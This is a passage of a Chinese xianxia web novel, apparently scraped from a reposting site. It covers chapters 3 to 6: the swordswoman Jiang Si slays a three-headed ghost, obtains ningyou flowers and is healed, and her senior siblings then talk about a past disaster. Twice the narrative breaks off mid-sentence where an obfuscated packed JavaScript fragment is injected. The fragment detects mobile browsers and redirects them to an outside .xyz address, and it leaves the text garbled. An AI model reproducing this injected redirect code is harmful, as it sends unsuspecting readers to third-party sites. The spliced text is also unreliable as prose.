剑光劈到三煞鬼的身上,此时三煞鬼只剩下一个头。 但夺魄依旧存在,依旧不知会从什么时候开始。 声音? 江汜已经听不到声音了,她甚至感觉不到疼。只是灵气外泄带来的气竭感,令她察觉到她此时的状态欠佳。 她只封闭了四感,唯留一只眼睛,本是为了找凝悠花。但现在…… 江汜伫立空中,她缓慢地吐出一口浊气,抬手将额角滚落的污血抹在眼睛上。深红模糊的视野里,她看见藏匿在煞气之中的三煞鬼卷土重来。 她“看见”仅剩一颗头颅的三煞鬼,吐出一口乌黑缭绕的黑气—— 它在说话。 江汜盯着它一张一合的上下颌骨,深红的视野变得漆黑。耳边风声呼啸,但这是在雾岭山脉,被煞气侵蚀的地脉生不出呼啸自由的风。 “断。”江汜心念一动,将最后一只眼睛的视野掐断。 她陷入寂静的黑夜,无法感知,无法听见。没有风声,亦没有侵蚀心脉的煞气。 “离字三式,火吞。” 江汜左手抬起,平稳朝前使出一剑,而在火如刍狗吞日般扑出之时,她却转身侧手,将右手提拎着的周白一下甩了出去!直冲她的剑招呼啸之处! “离字平破,斩心!” 江汜左手持剑,不紧不慢地横劈一剑,追着周白而去。 刺啦一声,在周白的身形落入火吞范围之前,离字平破却已经从周白的身上腾升而起!势如破竹的离火从他的手心没入他的身体,如雷闪一瞬,攀过他的经脉游走一段直逼心脏! “呕!” 昏迷不醒的周白身躯扭动一口污血喷涌而出,刺痛和濒死令他清醒一瞬,从夺魄中脱离。 一抬眼却见自己半只脚已经落入刍狗吞日的范围!火气缭绕,似要将踏入范围里的一切生物都吞噬殆尽! 来不及聚集灵气升起护体,周白大呵一声,双手掐诀——乾天离火,物化其一。 “万物有形,形如气聚,聚散有令,听吾号令!” 周白起势之时,感知到身后的江汜,他沉稳的声音从火中传出——“道友,借火一用!” “离字火,散!” 刍狗吞日般的火如遇春水,化作气雾,刺啦散去,沾染离火灼温的气没入周白之手。五行相借,周白此时可用朱雀之势的离火。 “护心。”江汜感觉到朱雀离火气息没入周白身体,轻落一声。 周白正运气渡周天调息,隐约察觉到一股滚热之息没入心脉,心惊一瞬,还不等他沉入空灵之界查看一二,江汜已然冲他而来。 “凝悠花在哪。” 江汜双目紧闭,额角的污血早已干涸,她自闭五感,此时只能用灵气去“看”四周。 三煞鬼被斩断两颗头颅,它小心隐匿在煞气之中,暂时不敢靠近。周围煞气也在吞火的逼势下散至百米外。 但仅有一颗头颅的三煞鬼,夺魄威力依旧不容小觑。 江汜几次硬抗夺魄,保持清醒,但也带来短时间难以逆转的灵气外泄。步入落丹境,修士体内便会生出一方空镜,称为空灵之界。空灵之界的土壤下,埋着一颗种子,随着境界的提升,种子会生长出深扎地底的根系,最后破土而出。 这颗种子就是落丹,是灵力的种子,称为丹种。 而此时,江汜空灵之界中埋藏土壤的种子,根系在不断地往地底深处延申。灵力的不断外泄,令丹种不安,于是不断的汲取灵力。 但终究是饮鸠止渴,种子此时仿佛失去了吸收灵力的能力,汲取来的灵力,还未运行一小周天,便消散而去。 江汜的空灵之界黯淡无光,仿佛就要消散了般。 周白闻声回头,看清江汜身上的狼狈,一口气卡在嗓子眼里:“都这时候了,还凝悠花?!” “你有这功夫不早跑出去了!”周白手掐离火诀,借用江汜方才所用之法,“离字,吞火!” 周白剑斩吞火,腾空而出的火势剑光方向而出,在最终剑势停落之地,嗜日般的火势席卷,殆尽周围又要围过来的煞气,撕破一道裂口。 但他的吞火之势比不上江汜的,看起来形借了九成,力借了七成。 “先走!”周白说着就要去抓江汜的肩膀,此时的江汜在他的眼中,灵气外泄,危及空灵之界,要是晚一步疗愈,就得跌境了! 要不宗内那些前辈说,去雾岭山脉历练,只要别去深脉碰上三煞鬼,都算是好机缘。因为遇上别的东西,受伤跌境,要死不活,但好歹都能活着回来,跌落的境界也能修回去,甚至连破三境都不是问题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995105|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但遇上三煞鬼跌落的境界,仿佛是用夺魄在空灵之界的种子上划破了一道口子。随着修行,境界的提升,那道裂口永远存在。 不论之后到达多高的境界,都会带着轻微的灵力外泄症状。 太常长老曾言,夺魄让你看见自己最恐惧担忧的事,而它并非只让你“看见”了,也让那颗深埋土壤的种子看见了。人绕不过去的执念,也就成为了种子的执念,种子的伤口。 “不行。”江汜左手执剑,眉间一扭,剑尖横挡,挡住周白,剑身又隐约像是要落在他身上似的。 她运转灵力,简单调息一瞬,下一瞬不再犹豫,剑指周白:“你只需要告诉我,此时此刻,你看见凝悠花在哪。” 凝悠花性胆小,一不在人多时出现,二不能被灵力探查,它对灵力极其敏锐,摘花之时,一点灵力都不能暴露。 周白看着油盐不进的江汜,有气难出。但想起对方刚刚救自己出夺魄,又只好叹气一声。 “告诉你,你现在这样也拿不到啊。”周白仰头往树干之中望去,“摘取凝悠花不能用灵力,你此时灵力外泻,别说靠近凝悠花了……” 江汜剑尖扭转,她闭目感知,又朝左侧斩去一剑,“离字平破,斩心。” 将要露头的三煞鬼被剑火燎到,又退缩至百米开外。 周白一瞬回头,眼尖瞥见一闪而过的三煞鬼,心一下悬在了嗓子眼:“它,它还没死啊!” “你借了我的火,帮我摘一朵凝悠花,能行吗?”江汜努力用一种请求的语气的去表述,但不知为何说出来仍旧有些别扭。 周白看着江汜手中的落雷金木,想起四年前参加仙门大试的前辈说起江汜——她就拎着一把小破剑,面无表情用一种欠打的语气跟我说,借你火,你能行吗? “……”能行吗?说得好像不行,就要把他斩立决。 周白神情扭曲,冷哼了一声:“一朵凝悠花而已,你想要多少我就能摘多少!” “我们太常弟子摘凝悠花,那不是信手拈来!这雾岭山脉跟我们宗门后山似的,想来我就来,想走我就走!” 嘶啦啦—— 三煞鬼的吼声逼近,周白一下慌神抱头,还没来得及说什么,就已经感觉到炽热的火势斩了出去。 江汜已经出手了。 “我会斩灭三煞鬼。”江汜反手握剑,抹去眼角滚落的血水,“我只要一朵凝悠花。” “你的情况看起来很不好,”周白此时已经没有捡了一条命的喜悦,他看着江汜心里一股烦躁,“你们这些外宗人,平时多与恶鬼交手,对怨煞多半也不了解。” “怨煞之中,三煞鬼与七煞修罗,对空灵之界都有影响。你快破境了吧,你知道落丹期丹种留下伤患,会有什么影响吗?” 江汜没有说话,她能感觉到空灵之界中的种子越来越躁动,朱雀离火的灼烧感自丹种处传来,几欲烧上她的心脉。 烦躁,火动,焚火反噬之感逆转在心脉之中。 江汜感觉快要压抑不住,她无法分出灵力去“看见”周白的声音,尽力压制之后,偏头咽下将要咳出的污血。 再开口,她的嗓音带着难言的嘶哑与躁意:“我只要一朵凝悠花。” 周白僵愣原地,瞪了江汜一眼:“你怎么这么执迷不悟!凝悠花有这么重要吗?你此时跟着我回宗门,修养好了再……” 江汜却还记得临行前大师兄说的,师尊快出关了,要早些回去。 她不再废话,剑指周白,“我只要一朵凝悠花。” “现在。” 4. chap4 周白气不打一处来,双手捻诀,“万物有形,形如气聚,聚散有令,听吾号令!” “凝水如悠,凝气如雾,坎水入雾,坤土定神。” “周天之下,万物之形——” “静!” 江汜感知到飘散在四周的灵气流动得愈发的缓慢,连风的流动都在周白的影响下仿佛静止,树叶落地的轨迹也被拖得无限长。 这是太常的五行相控。太常弟子的灵根本是有属性的,但修借五行之法之后,就会渐渐趋于无色,仿佛融入万物的五行之中。 想借用五行之时,灵根才会显现出五行之色。 周白回头深深地看了江汜一眼,带着一点气恼,“你要是跌境,事后可别怪我啊。” “不怪。”江汜努力压抑心中怒气,平静地道。 周白阖眸散落周身灵气,他在江汜眼中一下变得透明,如同空气。 “接下来一刻钟,我会隐匿灵气藏身万物之中,去引凝悠花,我无法动用灵力,你自己小心。” “三煞鬼没了两颗头颅,它会更加小心的动用夺魄,你注意它的位置……” 江汜心脉中灼烧的火气,令她时而压抑不住,她闷咳一声,燥闷地道:“不用你管,我知道。” 周白摸了摸鼻尖,心说你的朱雀离火都反噬心脉了,你知道个什么? 他深深地看了江汜一眼,总感觉江汜和传闻中说的不太一样。难不成他师兄骗他了?江汜除了不太会说话,这不挺乐于助人的吗? 听说他师兄参见四年前的仙门大试,偶遇江汜,不小心借了点火,被对方追了三天,后来江汜见他用火熟练,决定不追杀他了,转而威胁他去杀恶鬼,然后把分给他。他师兄当然是不愿意的,但据他所说,他看江汜太可怜了,于是同意了。 总之两人保持着诡异的合作一直到最后,最后……他师兄落入其他宗门的陷阱,江汜从旁边过,一眼没瞧他。 等到他用尽毕生所学,把周围人消耗得差不多了,他也被淘汰了,才见到江汜不知道从哪里冒出来,把剩下埋伏他的人一锅端了,回头见到他,并留下一言:“你怎么在这里?” “淘汰了?好可惜。” 总而言之,江汜在他师兄的口中,是个不折不扣的冷血之人!这事还不止他师兄说了,好像那一届,有不少人对江汜颇有微词。 因为江汜不仅能做到对同行的弟子视而不见,甚至连上一秒还在合作的人,都能拔剑相向。 他们说,江汜是一个伪装成人的恶鬼。明明有着人形,却好似没有人心。但她和恶鬼唯一的区别就是,恶鬼不会杀恶鬼,但她会。 对于江汜之后的一下传言,周白也听过不少,起初听到江汜只是朱雀山外门弟子的时候,他怀疑朱雀山藏拙,藏了江汜这么一匹黑马。 后来听到江汜回到朱雀山差点领罚,又迟疑朱雀山的怎么这么不辨是非?朱雀离火隐瞒不报又不是什么了不得的大事,怎么就要对一个刚刚拿下仙门之首的弟子要打要罚呢? 再后来,听说朱雀山开山长老强行出关,收她为徒之后,他便很少听到江汜的传言了。仿佛进入七宿峰之后,江汜这个人就突然销声匿迹了。 周白一直以为,江汜该如一柄出鞘的火剑,日也避她锋芒。可惜,这四年,有关江汜的传言渐渐消散,偶尔他外出其他宗门修炼,才能听到一两句关于江汜的传言——她常常出没各种险势秘境,似乎在找什么东西。 周白这四年去过六合宗,腾蛇门,九天,几乎都听见过他们宗门去何处试炼,遇上了江汜这个恶鬼,但这次,江汜没有弃他们与不顾,反而主动要和他们合作。 就是不太会说话,合作像威胁。 还有就是,江汜寻的东西都不一般。周白听了一两个,便觉不妙。 周度落与引气元,乃修合五行灵根之用。他原先猜测,江汜或许是灵根受损,但今日一见,江汜灵力体内灵力馥郁,空灵之界饱满,明显处于要破境的状态,不可能灵根受损。 他想起在九天听见江汜取走的一物,碎玉灵。 倘若不只周度落与引气元,还有碎玉灵的话,就不像是修补之用,反而像是剥离之用。江汜想要剥离什么东西吗?周白不太清楚。 尤其此时江汜非要一株凝悠花,让人不得不多猜忌一两分。凝悠花在人间被称为起死回生之用的仙花,但修仙之人才知道,凝悠花并不能起死回生,它更像是带着副作用的回溯之效。 凝悠花要提前服用,如此身重剧毒或是重伤,便可调息灵力回溯本源,在一刻钟内寻到解救之法,便可痊愈。所以在人界才会有起死回生的说法。 …… 周白散去周身灵力,如一个普通人,攀爬在光秃秃的树上。身后的打斗声越来越远,江汜将三煞鬼引开了,此时周白的百米之内,都无灵力波动。 他用眼睛在树干之中努力地搜寻着,默默地念叨着凝悠花快出来。 他不知道陈目回去之后,有没有禀报长老,陈目往日就与他不对付,周白此时甚至想陈目最好晚些时候去禀报。 毕竟飞星宫长老是最讨厌外宗弟子的,尤其是朱雀山的,因为飞星宫蒙自长老,在朱雀山修炼的时候,被人烧了头发,衣服也差点烧得一干二净,可谓是丢尽了脸面。 现在可千万不能让蒙自长老看到江汜,到时候别说凝悠花,估计蒙自长老得把江汜扣下来,让朱雀山的亲自来领人。 那场面,不敢想。 正想着,灰紫的月光下,一点蒙着绿光的泡泡出现在周白的视野里。周白瞬间屏住呼吸,眼睛一动不动地盯着绿光泡泡的方向。 凝悠花要出来了! 这边还没盯出凝悠花来,周白忽的感觉眼前的绿光越来越多了,他眨了一下眼睛,瞪大了眼睛一下跌坐到树枝上。 “天,天啊……”周白扒着树干防止自己摔下去,又忍不住颤抖地伸出一只手来,揉了揉眼睛,再利索地给了自己一巴掌。 “……这,这么多凝悠花?”周白声音都颤抖了。 凝悠花附近多有三煞鬼,但往常三煞鬼只会出现在深脉之中,那里的少人,凝悠花也是最多的,但太常弟子大多不会前往深脉去寻凝悠花。 近脉也有凝悠花,只需要稍微勾引一下。 “看来三煞鬼出现在近脉,应该是雾岭山脉有异象了,不知道和南面的长恨天有什么关联。”周白沉吟道,看着眼前一朵一朵冒出来的凝悠花,飞速地在树干间跳跃,一朵一朵地往凝虚袋中扔进去。 “江汜只要一朵,那其余都归我应该没……” 周白望着手里一朵又一朵凝悠花,忍不住想自己之后再去其他宗修炼,拿出一堆凝悠花,不知道有多少人追着他求他借五行。 但他嘴角的笑意还没勾起来,就看见一双翘头黑白缎面的鞋靴落在他的眼前。 “周,白!” 周白吓得手上凝悠花差点系数落下,但他抓紧了,一把塞进凝虚袋。抬头,他看见一脸怒气的蒙自长老,而蒙自长老的身后,还跟着和他向来不合的陈目。 周白嘴角抽了抽,陈目向来对他见死不救,不知道这次通报这么及时又有什么坏心思! 果不其然,蒙自长老盯着周白,和周白身旁一圈的凝悠花还没说什么,就听得陈目阴阳怪气的开口了:“蒙长老,我等在近脉处遇见三煞鬼,弟子知晓有三煞鬼出没的地方必有凝悠花,于是带领弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995106|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先行回到宗门禀告……” “周师弟,你怎么还在这里没有走?” “你是不知三煞鬼的厉害,还是……想独吞凝悠花?周师弟啊周师弟,你不会不知道蒙长老最近急需凝悠花……” 周白眼角抽了抽趁蒙自长老注意周围凝悠花之时,悄无声息地将凝虚袋对换,将放有凝悠花的凝虚袋藏了起来。 “陈师兄你休要在长老面前污蔑我!当时分明是江道……江师妹以火破开煞气,才有机会叫你离开三煞鬼的范围,回去禀告长老!” 陈目轻笑反问:“江师妹?我怎么不知飞星宫外门弟子中,有一位江师妹?” 蒙自也回头:“什么江师妹?周白,三煞鬼呢?我听后面回来的弟子说,你和另一位弟子还被三煞鬼困着,你们……” 陈目立刻打断长老,盯着周白那双紧张的眼睛,自信地开口:“蒙长老,根本没有什么江师妹,也没有另一位弟子!” “她是外宗人!朱雀山的江汜!而周白不仅不拆穿对方,还要给对方摘取凝悠花!长老,那人一定还在这附近!只要待会让周白师弟……” 周白心道一声完了,蒙长老最讨厌朱雀山的人。 蒙长老冷哼一声:“方才过来便感觉那边灵力波动,想来那人在和三煞鬼恶战?” 蒙长老说着又落下眼瞥向周围的凝悠花,他倒是想伸手摘一两朵,但此时他和陈目的出现已经惊扰了这些凝悠花,眼看着又藏匿起来了不少。 “咳,周白,给我也摘几朵吧。”蒙自不自然地道,话落他脸色一变,一下瞬移至千米外。 “朱雀山的弟子——” “何故在我太常啊?” 周白不敢耽搁,随意捡了几多凝悠花,掐诀解咒,急忙跟上前去。跟在周白身后,想要捡一朵凝悠花的陈目,眼看着周白恢复灵力,凝悠花一瞬间消失得干干净净,脸上一黑,也急急忙忙地跟着上去。 * 江汜这边,自封五感之后,即便灵力外泄令她对上三煞鬼有些力不从心,但好歹她可以不那么忧心被夺魄影响了。 只要不被夺魄影响,引三煞鬼现身,再趁机斩杀,就容易得多了。 江汜伫立猎猎冷风中,她的灵力“看见”三煞鬼从她正面而来,而她也在此时睁开布满血污的眼睛。 她和三煞鬼对视,她仿佛看见三煞鬼开口说话。 当—— 江汜好似被三煞鬼夺魄,手中朱雀离火刺啦熄灭,左手木剑也随之脱落。 紧接着空灵之界传来一声嗡鸣,江汜浑身灵气截断,她如断弓之弦,从半空往下坠落! 也就是此时,隐匿在煞气之中的三煞鬼望着坠落,仿佛陷入夺魄的江汜,毫不犹豫地冲了出来。 而江汜在此时阖上不能视物的眼睛,她在心中默念:“离字平破,斩心。” “离字六之七式,朱火焚。” 三煞鬼离她越来越近,手中白骨就要划至她的身前! 江汜扭身而上,“勿听!” 落雷金木迅速回到她的手中,顷刻间火势便从剑中而出,席卷毫无防备的三煞鬼! 江汜攻势不停,手心中黑色火纹密布,她将左手木剑换至右手,腾升的离火将木剑淬炼得更加锋利。 “静火沉雷,断天穹!” 江汜一剑挥出,几乎用尽全身灵力,最后一招刚落,她便站立不稳,缓慢地往下坠落。 天边火光漫天,三煞鬼的气息在火光中消弭。江汜解断诀,恢复五感,她感受到灼热的火息,看见漫天火光,吞噬三煞鬼,燎破煞气。 清色的月光落下,令人安心。 但下一刻她却听见有人唤她:“师妹。” 5. chap5 “小师妹。” 江汜的上空出现一道熟悉的身影,是束发总是束得松松散散的二师兄谢不悔,一头黑发仅用一个银色嵌曜石发冠歪歪斜斜的束起,风一吹动,发冠也跟着摇晃几下,要落不落。 “怎么不叫师兄帮忙?” 江汜的眼中,一袭黑紫暗纹对襟衣袍的谢不悔奔她而来,少年带着轻快的笑意,朝她伸出手。 江汜愣住,古井无波的黑瞳静静地望着奔她而来的身影,脑海里一闪而过,临行前大师兄说的那句——有事叫师兄。 她潜意识里,叫过师兄了吗? “小师妹,出门一趟,就不认识二师兄了?还是你在想,怎么不是大师兄?” “小师妹快快伸出手来吧,再落下去,师兄就抓不住你了。” 谢不悔离她越来越近,带着烧伤的左手在她眼前晃动着。 江汜迟疑地伸出手去,她看见谢不悔脸上的笑意愈发的轻快,如当年谢不悔担忧她破六境离火出差错,跑去直符宗下战书,虽背着一身伤,却朝她递来一张直符火咒时……那样肆意轻快的笑。 谢不悔的手指碰到她的指尖,就要握住…… 江汜忽的嗅到一抹危险的气息,她还未将手收回,就见眼前光影如水波扭曲。 谢不悔的身影在她的眼前消失,最后一幕是他张扬的笑意变作獠牙,像是挣扎着不甘地要朝她撕咬过来。 但朱火焚烧得更快,江汜在最后一秒看清三煞鬼的头颅。 “江汜!你在愣什么神!三煞鬼都杀你脸上了!” 急速下坠的空中,弥漫的火光下,江汜终于听清耳畔传来的属于周白的声音,以及……太常长老的灵力震耳的声响—— “朱雀弟子!为何来我太常?!” 江汜被磅礴的灵力震得吐出一口污血,她捂住胸口,迅速调整姿势,勉强御气而立。 她对飞星宫长老早有耳闻,丝毫不敢露面,捻诀以朱雀离火护心,藏匿进煞气之中。 蔽日的火光消散,浓烟之下,只留有三煞鬼的灰烬。 蒙自长老怒目而视,踏步瞬息落下,伫立于三煞鬼的灰烬前,身后是紧赶慢赶跟过来的陈目。 “蒙长老,三煞鬼已经被您……” 蒙自眉头拧紧,死死地盯着地下烧成灰烬的三煞鬼,神情凝重地喃喃了一声:“朱雀焚火。” “真像。” 他说着伸手捻起一点灰烬,又冷道一声:“朱雀山的人真是越来越差了,境界不够,也敢教弟子用朱火焚了。” 他停留在此,似乎没了追寻江汜的念头,“周白呢,叫上他,回宗门了。” * 周白藏在树干之间,不敢贸然出手,怕长老通过他的身形察觉到江汜的位置。但他看见江汜往煞气中跑时,还是被吓得差点也跟着冲了进去。 所幸他及时想起朱雀离火有护心之效,于是跟在江汜身后,在树干之中穿行。 “江汜,江汜!” “你慢点!凝悠花,凝悠花你还要不要了?” 江汜似乎伤得很重,周白一路跟着,能感知到从她身上落下的,很明显的灵气外泄,以及一些奇怪的火星味。 倘若江汜是太常弟子,周白早就带人去飞星宫治疗了。但江汜不但不是太常弟子,甚至还是蒙自长老最讨厌的朱雀弟子。 周白胡思乱想着,叹气连连,一没注意差点撞到忽然出现在他眼前的江汜身上。 “江……!” 浑身是血的江汜朝他伸出手,她灵气外泄的厉害,此时虚弱得好似一句话都说不出,只从嗓子眼里挤出一个:“花。” 周白急忙从腰间取下凝虚袋,放到江汜手中,还不忘嘀咕几句:“你带伤药了吗?有没有调息灵力外泄的?灵石呢?灵石有吗?” “算了,你们这些外宗弟子哪有我们太常更了解怨煞。多半也没有调息灵力外泄的,你等等,虽然我没法带你回太常治疗,但丹药……!我还是有……” “周白。”蒙自长老不知何时悄无声息地出现在了周白的身后。 江汜气息紊乱,她努力调息的灵气与外泄的灵气相互制约着,令她无法修整空灵之界,运转体内灵力。 她察觉到蒙自的靠近,却已经施展不出任何瞬移的术法。她只好紧紧地握住手中落雷金木,警惕地看向来人。 蒙自没有看她,只是余光在她身上落了一瞬。 “周白,该走了。”蒙自沉声道,“不该管的事,你最好不要管。” 周白转身望着蒙自长老,乐呵一声:“长、长老,您,您消灭那三煞鬼了?” 他一边说着,一边背着手在凝虚袋里翻找着却息丹,又趁着蒙自不注意,飞快地扔给江汜。 蒙自假装看不见周白的动作,也没有反驳周白说他杀了三煞鬼一事。 “周白,别磨磨蹭蹭的。”蒙自沉默看周白插科打诨地给江汜扔了一瓶又一瓶的丹药,实在没忍住开口。 而他借着周白的动作,还是没能忍住用余光瞥了江汜一眼。 满脸坚毅,不卑不亢的少女脸上,混杂着污血与砂石,灰黑的刘海洇湿了血气,焉焉的搭在额前,但她半盘的头发却几乎没有散乱。 垂云般的发髻别在双耳后,落下一半灰黑的发丝在夜风中飘逸。她的头上未别发钗,仅用珠光白的发带缠细了一圈,珠光白的发带未染血迹,只是被火燎出些许星火点点。 清秀随静的面容上,少女的目光带着隐匿的警惕,仿佛让人看见的温顺只是她的表象。她如一只未被驯化的恶犬,保留着愤怒,只待人不备,便冲上前去撕咬一口。 蒙自默不作声地收回目光,往前踏出一步,拎起磨蹭个没完没了的周白,将他腰间的凝虚袋干脆利落的取下,扔给江汜。 “三煞鬼已被老夫解决,而你,我们没人见过。”蒙自落下一句,拽起周白转身就走。 周白眼看另一个凝虚袋也被扔了出去,忙不迭地大喊:“蒙长老!凝悠花!你怎么把凝悠花全给她了!!” 蒙自御气的步伐一顿,但回想起灭灼三煞鬼的朱火焚,便拽着周白飞得更快了。 此子,不可接触。蒙自攥着手中的已经碎裂的五行锁,眉间褶皱拧得更深。 五行锁由拥有窥天之力的九天宗锻造,九天宗以器窥天,算命之卦。 “朱火焚。”蒙自冷笑一声,心中唾骂——朱雀山那些老顽固,真是不知死活。 周白掰着手指算他损失的凝悠花,冷不丁听见一声朱火焚,抬头问:“朱火焚是什么?” 蒙自一拳打在他的头上,眼中带着警告:“不该记的最 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六合宗与人间并存,并不像其他宗门那样,和人间的界限分明,或是地界内无普通人生活。六合隐没于人间,如同墨染山水画,不张扬,不突兀。 她们通常趁雨浓,在街边拐角,支起一个小摊,免费义诊,雨歇就走。六合地界内的百姓都称她们为雨仙人。 此时正逢小雨绵绵,江汜来时用涤尘术简单清理了一下,她走到一旁买了一把伞,在烟雨小巷中提裙而走。 师尊出关总有要事吩咐他们,还会简单考验他们的修习。江汜此时一身伤,既不愿被三师姐知道,她是为取凝悠花才落得这般;又不想回去之后被师尊察觉。 左思右想,还是来六合一趟比较好。 小巷拐角三两个六合弟子的义诊铺已经排起了长队,江汜在四年前的仙门大试中见过她们,但不算什么好印象。 江汜压低了油纸伞,止步正要往回走,一股梨香的气息落在她的身前,她还未有反应,那人朝她伸出手来,搭上她的肩膀,眼前一晃,下一刻她已出现在一个无人的院落中。 “伤得不轻啊,外泄的灵气,还没入六合就已经嗅到了。” 江汜的油纸伞被人挑起,入目却是一个眼若桃花、身着女裙的男子。 “我猜,你身上有凝悠花。” 游青抚伞压下,指尖一点青绿的光芒,同骤然爆发的江汜拉开距离。 “小姑娘,我没有恶意。”游青轻扶鬓角雪色梨花,青绿光芒从他指尖如雨线射出,僵持在江汜的周身。 江汜举伞而立,悬于空中,柔韧的目光居高临下。 “你要凝悠花。” 游青:“是,你身上的伤,我可以治。” 江汜收伞落下,望着周围要没入她身体的青绿灵线,从凝虚袋中取出一朵凝悠花。 “一刻钟。” 游青笑而不语,没说行,也没说不行,他眯起一双眼睛,抬手扶鬓角梨花,梨花花瓣被风吹落,在他的额前闪过一瞬。 “望——”游青手掌松开,青绿丝线融入雨水中,仿佛以另一个视角观察世界。 江汜看见拂过他额前的花瓣如一只眼睛,好似睁开了一瞬。 下一秒,游青的青绿丝线从她手中取走凝悠花,睁开那双浸透了雨水的桃花眼,含笑望向她:“一刻钟足矣。” 6. chap6 细如雨丝的青线在从江汜的空灵之界,徐徐而出。 江汜撑伞伫立在雨中,她甚至无需运转灵力调息,游青那奇怪的青丝如缝补一件损坏的衣裳一般,细密的青丝将她空灵之界的崩陷处扎扎实实的缝合,而那青丝中隐秘的温和阴木气息,徐徐的温疗朱雀离火烧灼的心脉。 待到雨歇,一刻钟不到,江汜便感觉浑身经脉都疏通了,灼烧的心脉不再隐隐作痛,受到夺魄影响的丹种也恢复如初,灵气运转顺畅,停息于空灵。 游青合手收势,取下耳畔的梨花,将刚刚得到的凝悠花别上,他抬手捻了捻脸上的雨水,舌尖轻尝。 “是个好雨。” 游青看向院落中依然撑着伞的江汜,不做任何道别之言,手起青丝穿透梨花,一阵梨花香飘来,再看,院落中除了江汜之外已无其他人。 江汜收了伞,随手放在墙角。她腰间玉简从游青开始治疗时,就在不停的闪烁。 她抬眼望月,朦胧雾气里的弯月竟然快要西沉。 江汜急忙握起玉简,灵气划动,金红的符纹一闪而动,清晰的声音响起。 “大师兄!你怎么可以让小师妹一个人去!?”率先闯入江汜耳畔的声音是属于谢不悔的,二师兄一向不拘,江汜要是猜得不错,谢不悔此时又大逆不道地拽上凌萚的衣襟了。 而大师兄凌萚,大约只是无奈的笑笑,等到谢不悔冲着他的耳朵吼上一两句发泄了,才会出剑震飞谢不悔。 “就是啊师兄,若是三师姐知道了……” 后面紧跟着的,是四师姐蓝朝的声音。四师姐喜爱人间话本,说话的嗓音里也总带着一股悲情感伤的幽怨感。 “知道什么。”清冷疏离,如孤柳浮水的嗓音,是属于三师姐的。 江汜想到凝虚袋中的凝悠花,忍不住轻唤了一声:“三师姐。” 玉简里的声音骤然消失得一干二净,良久江汜才听得五师兄易树讷讷的声音:“师妹的传讯接上了。” 江汜没有听到三师姐的声音,大师兄握着玉简避开吵闹的谢不悔与蓝朝,仅有一阵风拂过,江汜便只能听到独属于大师兄温润的嗓音了。 “师妹,可还好?” “无事,很顺利。” 凌萚像是知晓她心中所想,于是又主动开口:“师尊快出关,你三师姐要先去泯药堂替师尊把关一些丹药。” 江汜抚着腰间的凝虚袋,轻快的应了一声:“我知道的师兄。” “我待会就启程……” 凌萚突然打断她:“等一下师妹。” 江汜:“?” 江汜听见凌萚那边风声呼呼,不过须臾,她便听到三师姐的声音。 “江师妹。”宋泠的声音一贯冷淡,如初见亦如相处的朝朝暮暮。 江汜很少从三师姐的脸上看见什么表情变化,也很少从她的淡然的嗓音里听出别的情绪来。 “三师姐。”江汜一改在外的模样,连语气都显得轻快,眼眸间的笑意都显得不那么苦大仇深了。 好似此时她才像一个仅有十八岁的少女,应该再天真烂漫些。 “你在何地?”宋泠冷不防地问她,还不待她回答,便自顾自的继续说起来,“若是无事,可愿去六合帮我……” 凌萚却打断了宋泠,语气是江汜从未听过的肃然:“三师妹,你忘记师尊出关时,弟子皆在的律令了?” 宋泠顿了一秒,清凌凌的目光紧逼凌萚,不发一言。 江汜犹豫着不知该如何插嘴,恰好凌萚对她说:“师妹,无事就快些回吧。” “师兄有些事,先不与你传讯了。” 江汜应了一声:“好。” 她伫立在院落内,遥遥望上云层之上,以灵力符阵蔽目的六合宗门。不知三师姐,想要她去六合帮忙什么呢? 罢了,下次还有机会来。 * 七宿峰上,朱火殿后的石子小路前,清风亭下,凌萚与宋泠并肩而立。 两人不言不语,仿佛只是在此处吹吹冷风。 良久,凌萚才冷声开口:“四师妹。” 宋泠听见这个称呼没有反驳,亦没有承认,她回眸望了凌萚一眼,又望向眼前飘渺的山间云海,静静沉思,不发一言。 “我想你没有忘记那日的惨象。”凌萚嗓音阴沉,带着要挣扎而出的杀意。 宋泠这才有了微末的一些反应,她裸色的唇瓣微张,轻若风喃的嗓音响起:“不敢忘。” 凌萚盯着她的眼睛,问她:“那你是何意。” 宋泠又沉默了,她望着眼前的山间云海,往日里总是波澜不惊的眼眸,却沾染了犹豫、担忧、迷茫。 “赭石水长在恶鬼怨煞盘踞之地。” 风中只有宋泠呢喃的声音。 “而在这九霄大陆上,北有玄武,南有朱雀,西落白虎,东停六合;太常,九天,直符,九地与腾蛇分别镇守东北,东南,西南,西北。” “九大宗门皆有驱煞化怨秘法。” “千年以前,恶鬼怨煞这种东西,很难在九霄大陆上肆意妄为。赭石水这样狠毒的东西,好些人连听都未曾听过,更别说会有人知晓赭石水能够侵蚀离火心脉。” 宋泠说到这里,短暂的沉默了一瞬,风声灌入她的嗓间,令她难以继续说下去。 凌萚没有接话,他望着远方的光景,眸中的阴翳的杀意悄无声息的压抑下去。 良久,宋泠才继续开口。她的嗓音滞涩,带着微末的沙沙感。 “……五百年前,九地宗还修借怨道,那一年,出了一个借怨修罗。” “怨煞之力,本就是非人之力。单凭一个人,如何能日复一日年复一年的坚定心性。” “那日,是夏至。”宋泠低下头,“长恨天还叫天间送,是个人间仙境,静谧桃源。” 